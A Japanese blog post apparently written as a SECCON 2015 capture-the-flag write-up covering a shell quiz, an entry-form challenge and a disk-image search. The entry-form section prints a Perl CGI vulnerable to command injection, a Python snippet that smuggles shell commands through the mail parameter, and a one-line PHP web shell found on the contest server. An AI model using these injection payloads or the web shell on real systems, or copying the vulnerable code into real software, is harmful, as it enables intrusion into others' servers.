LoginSignup
2
2

More than 5 years have passed since last update.

seccon 2015 writeup

Posted at

解けた問題

  • Command-Line Quiz
  • Entry form
  • Exec dmesg

Command-Line Quiz

問題

telnet caitsith.pwn.seccon.jp
User:root
Password:seccon
The goal is to find the flag word by "somehow" reading all *.txt files.

問題に記載されている場所へtelnetでログインする

telnet caitsith.pwn.seccon.jp
User:root
Password:seccon

ログインするとファイルがこんな感じで存在している.

$ ls -altr *.txt
-rw-r--r--    1 500      0             280 Dec  5 04:48 stage5.txt
-rw-r--r--    1 400      0             247 Dec  5 04:48 stage4.txt
-rw-r--r--    1 300      0             270 Dec  5 04:48 stage3.txt
-rw-r--r--    1 200      0             265 Dec  5 04:48 stage2.txt
-rw-r--r--    1 100      0             262 Dec  5 04:48 stage1.txt
-rw-r--r--    1 600      0              87 Dec  5 04:48 flags.txt

stage1からstage5まで1つずつ問題を解いていけばfalgs.txtにアクセスできるようになる問題.

$ cat stage1.txt
What command do you use when you want to read only top lines of a text file?

Set your answer to environment variable named stage1 and execute a shell.

  $ stage1=$your_answer_here sh

If your answer is what I meant, you will be able to access stage2.txt file.

問題を解いていくとこんな感じになった.

$ stage1=head sh
$ stage2=tail sh
$ stage3=grep sh
$ stage4=awk sh
$ cat stage5.txt
OK. You reached the final stage. The flag word is in flags.txt file.

flags.txt can be read by only one specific program which is available
in this server. The program for reading flags.txt is one of commands
you can use for processing a text file. Please find it. Good luck. ;-)

$ sed 's/hoge/fefafa/' flags.txt
OK. You have read all .txt files. The flag word is shown below.

SECCON{CaitSith@AQUA}%

Entry form

command injectionをして解く問題.
以下にアクセスするとメールアドレスと名前を入れるフォームが表示される.
しばらくはsqlインジェクションの問題かな?と思いいくつか試してみるが特に反応がない。
http://entryform.pwn.seccon.jp/register.cgi

ルートにアクセスするとどうなるかなと思ったらファイル一覧が表示され、register.cgi_bakとSECRETディレクトリが存在する事に気がつく。
http://entryform.pwn.seccon.jp/

SECRETディレクトリには特に何もないように見えたのが、register.cgi_bakはperlのコードがそのまま見える状態になっているので、perlのコードを読み解く。

if($q->param("mail") ne '' && $q->param("name") ne '') {
  open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
  print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n";
  close(SH);

  open(LOG, ">>log"); ### <-- FLAG HERE ###
  flock(LOG, 2);
  seek(LOG, 0, 2);
  print LOG "".$q->param("mail")."\t".$q->param("name")."\n";
  close(LOG);

  print "<h1>Your entry was sent. <a href='?' style='color:#52d6eb'>Go Back</a></h1>";
  exit;
}

フラグはlogというファイルを見れば良さそう。それに実行するコマンドを入力値から作っているのでコマンドインジェクションすれば読めそう。
最初はlogファイルをsendmailに渡す形で頑張ってたけど、多分sendmailでメールは送れないようになっていたっぽい(これに気付かず無駄に時間浪費した)。

ブラウザからやるとhtmlのtype="email"が邪魔をしてインジェクションに必要な文字列渡せなかったのでpythonのインタプリタ上からhttp request投げるようにして試行錯誤.

>import urllib
>url="http://entryform.pwn.seccon.jp/register.cgi?"
>param=urllib.urlencode({'mail': "a@a';<実行したいコマンド> #", 'name': 'a', 'action': 'Send'})
>print urllib.urlopen(url+param).read()

cat logをぶちこんでも読めない。うーん、なんでだろうと悩む。
ふとSECRETのディレクトリどうなってるか覗いたところ、お?ブラウザからは見えなかったファイルがある.

-r--r--r-- 1 root root 42 Dec  1 21:52 backdoor123.php
-r--r--r-- 1 root root 19 Dec  1 21:52 index.html

catしてみる.

>param=urllib.urlencode({'mail': "a@a';cat SECRETS/backdoor123.php #", 'name': 'a', 'action': 'Send'})
>print urllib.urlopen(url+param).read()

パラメータ渡すとシェル実行してくれそうなphpが返ってきた.

<pre><?php system($_GET['cmd']); ?></pre>

ブラウザからcatするコマンドをパラメータに入れてアクセスすればlogファイルが読めた.

Exec dmesg

isoをvirtual boxで起動すし、おもむろに

$sudo grep -rIs SECCON /

答えが出てくる。grep最強!

問題

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2